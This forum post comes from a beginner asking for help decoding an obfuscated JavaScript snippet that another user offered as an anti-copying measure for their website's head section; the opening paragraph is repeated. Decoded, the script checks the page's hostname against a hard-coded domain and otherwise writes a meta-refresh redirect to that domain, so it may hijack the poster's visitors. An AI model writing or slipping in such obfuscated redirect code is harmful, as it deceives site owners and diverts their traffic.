Noumad
Member
Good morning all
I would like to decrypt this JS code which seems to redirect visitors to my website, after a user who gives it to me on a help forum, a user offers to stop the copiers of my site, with this code which normally must to be put between the <head> tags, I am a beginner in the field so I wanted to have your screws.
I would like to decrypt this JS code which seems to redirect visitors to my website, after a user who gives it to me on a help forum, a user offers to stop the copiers of my site, with this code which normally must to be put between the <head> tags, I am a beginner in the field so I wanted to have your screws.
Code:
<script>var a=['c3RyZWFt','dHBz','d3JpdGU=','dGEgaHR0cC1lcXVpdj0icmVmcg==','Oi8vd3d3Lg==','aW56','PG1l','aW56LmM=','aG9zdG5hbWU=','ZXNoIiBjb250ZW50PSIwOyBV'];(function(b,e){var f=function(g){while(--g){b['push'](b['shift']());}};f(++e);}(a,0xfb));var b=function(c,d){c=c-0x0;var e=a[c];if(b['zfpbcT']===undefined){(function(){var g;try{var i=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');g=i();}catch(j){g=window;}var h='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';g['atob']||(g['atob']=function(k){var l=String(k)['replace'](/=+$/,'');var m='';for(var n=0x0,o,p,q=0x0;p=l['charAt'](q++);~p&&(o=n%0x4?o*0x40+p:p,n++%0x4)?m+=String['fromCharCode'](0xff&o>>(-0x2*n&0x6)):0x0){p=h['indexOf'](p);}return m;});}());b['jzhRrV']=function(g){var h=atob(g);var j=[];for(var k=0x0,l=h['length'];k<l;k++){j+='%'+('00'+h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};b['aeQUJO']={};b['zfpbcT']=!![];}var f=b['aeQUJO'][c];if(f===undefined){e=b['jzhRrV'](e);b['aeQUJO'][c]=e;}else{e=f;}return e;};if(location[b('0x7')]!==b('0x9')+b('0x4')+'.com'){document[b('0x1')](b('0x5')+b('0x2')+b('0x8')+'R'+'L'+'=ht'+b('0x0')+b('0x3')+b('0x9')+b('0x6')+'om/\x22/>');} </script>